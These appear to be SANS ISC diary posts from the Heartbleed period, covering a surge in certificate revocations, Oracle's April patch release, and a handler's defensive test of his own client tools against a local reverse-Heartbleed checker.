Update: CloudFlare posted in their blog twice today claiming responsibility for the majority of this spike. Quoting: "If you assume that the global average price for bandwidth is around $10/Mbps, just supporting the traffic to deliver the CRL would have added $400,000USD to Globalsign's monthly bandwidth bill."
It looks like, as I had suspected, the CRL activity numbers we have been seeing did not reflect the real volume caused by the OpenSSL Heartbleed bug.
This evening I noticed a massive spike in the amount of revocations being reported by this CRL: http://crl.globalsign.com/gs/gsorganizationvalg2.crl
The spike is so large that we initially thought it was a mistake, but we have since confirmed that it's real! We're talking about over 50,000 unique revocations from a single CRL:
This is by an order of magnitude the largest spike in revocation activity seen in years, according to our current data.
I have set up a new page for everyone to monitor the activity as well as see how we are obtaining this data. The page can be found at https://isc.sans.edu/crls.html.
How will you use this page in your projects or general analysis? We'd love to hear some ideas.
If you know of other CRLs that we can add, please let us know in the comments! Additionally, if you would like to see an API call added so that you can automatically query us for this information, please let us know so that we are aware of the demand.
On a side note, we can see a clear upward trend in revocations over the past 3 or 4 years:
What do you attribute this consistent growth in revocations to? What do you think caused the previous spikes?
Oracle released its quarterly Criticical Patch Update (CPU) yesterday . As usual, the number of patches is quite intimidating. But remember these 104 fixes apply across the entire Oracle product range.
Some of the highlights:
CVE-2014-2406: A bug in Oracle's Database which allows a remotely authenticated user to gain control over the database.
37 new patches for Java SE, 35 of which allow remote execution as the user running the Java Applet (according to Oracle: "The CVSS scores below assume that a user running a Java applet or Java Web Start application has administrator privileges (typical on Windows)".
4 of the Java vulnerabilities have a base CVSS score of 10 indicating not only full remote code execution but also easy exploitability.
I wanted to know if the tools/software I execute regularly are vulnerable to scraping my system memory. Now the reverse heartbleed scenario is very possible, but the likelihood seems to be much more of a non-issue.
Seeing is still believing in my book. So I set out to see what the interweb world was doing to test this out. There are some very reputable services/organizations out there offering up a fresh url to the reverse heartbleed and others offering to 'test' a given url. These are a black box. Trust is hard to earn at times, especially when you are dealing with an exploit like this one. I wanted to see source code, or at least pseudocode so I could craft my own. I found a script out there called Pacemaker  that was written and provided by Peter Wu. I liked it because it was transparent, simple, and it can be used exclusively under my control (the ultimate first step of developing trust).
So simple, I was able to review it for harm and function, and cut and paste it into vi. Escape, write, quit, and I was off and running. Basically it works like a simple webserver, very simple. The script is executed and listens on port 4433. You point your client software at it with a localhost url and the server script reports on STDOUT what it finds.
I did not have any vulnerable client software readily available to give a whirl, but I did try all my curl and wget installs that I use regularly. I also hit it with Chrome and Safari to see the error messages.
Here is what I tested with it.
wget 1.11.4:Connection from: 10.0.0.11:60401 Unable to check for vulnerability: SSL 2.0 clients cannot be tested curl 7.30.0 (x86_64-apple-darwin13.0) libcurl/7.30.0 SecureTransport zlib/1.2.5: Connection from: 10.0.0.11:60418 Got Alert, level=Fatal, description=40 Not vulnerable! (Heartbeats disabled or not OpenSSL) curl 7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8y zlib/1.2.5: Connection from: 127.0.0.1:59451 Possibly not vulnerable Chrome 34.0.1847.116:
I am interested in seeing more output from known vulnerable client software. Feel free to give this a ride and share your results. If I get a chance to spin out a new VM with some vulnerable OpenSSL on it today, then I will share my experiences too.
ISC Handler on Duty